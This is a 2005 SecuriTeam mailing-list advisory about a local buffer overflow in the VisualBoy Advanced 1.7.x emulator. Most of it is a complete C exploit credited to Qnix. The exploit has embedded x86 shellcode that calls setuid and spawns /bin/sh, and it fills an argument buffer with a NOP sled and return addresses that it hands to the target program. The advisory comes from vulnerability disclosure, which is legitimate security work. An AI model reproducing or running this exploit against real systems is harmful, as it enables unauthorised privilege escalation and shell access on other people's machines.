

[EXPL] VisualBoy Advanced Local Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0057.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/14/05

To: list@securiteam.com

Date: 14 Sep 2005 18:31:36 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

VisualBoy Advanced Local Buffer Overflow (Exploit)

SUMMARY

<<http://vba.ngemu.com/>> VisualBoy Advanced is "an emulator for Gameboy and GameboyAdvance systems."

Lack of proper parameter filtering allows local attackers to execute arbitrary code in VisualBoy Advanced.

DETAILS

Vulnerable Systems:

*VisualBoy Advanced version 1.7.x

Exploit:

/*

VisualBoyAdvanced 1.7.x BufferOver Flow exploit

VBA – WEBSITE : vba.ngemu.com

Found & coded by Qnix – [Qnix\[at\]bsdmail\[dot\]org](mailto:Qnix[at]bsdmail[dot]org)

*/

#include <stdlib.h>

Securiteam: [EXPL] VisualBoy Advanced Local Buffer Overflow (Exploit)

```
char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
    "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
    "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
    "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
    "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
    "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
    "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
    "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char *buffer, *ptr;

    offset = 0;
    esp = sp();
    ret = esp - offset;

    if (argc >= 2) {
        printf("\n ***** \n");
        printf(" VisualBoyAdvanced 1.7.x BufferOver Flow exploit \n");
        printf(" by Qnix[at]bsdmail[dot]org ");
        printf("\n ***** \n\n");
        printf("[~] Stack pointer (ESP) : 0x%x\n", esp);
        printf("[~] Offset from ESP : 0x%x\n", offset);
        printf("[~] Desired Return Addr : 0x%x\n\n", ret);
    } else {
        printf("\n ***** \n");
        printf(" VisualBoyAdvanced 1.7.x BufferOver Flow Exploit \n");
        printf(" by Qnix[at]bsdmail[dot]org ");
        printf("\n ***** \n\n");
        printf("usage : ./vba-exp <VisualBoyAdvanced File> \n\n");
    }

    buffer = malloc(2300);

    ptr = buffer;
    addr_ptr = (long *) ptr;
    for(i=0; i < 2300; i+=4)
    { *(addr_ptr++) = ret; }

    for(i=0; i < 1900; i++)
    { buffer[i] = '\x90'; }

    ptr = buffer + 1900;
    for(i=0; i < strlen(shellcode); i++)
```

Securiteam: [EXPL] VisualBoy Advanced Local Buffer Overflow (Exploit)

```
{ *(ptr++) = shellcode[i]; }  
  
buffer[2300-1] = 0;  
  
execl(argv[1], "VisualBoyAdvance", buffer, 0);  
  
free(buffer);  
  
return 0;  
}  
  
/* EOF */
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:qnix@bsdmail.org> Qnix.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.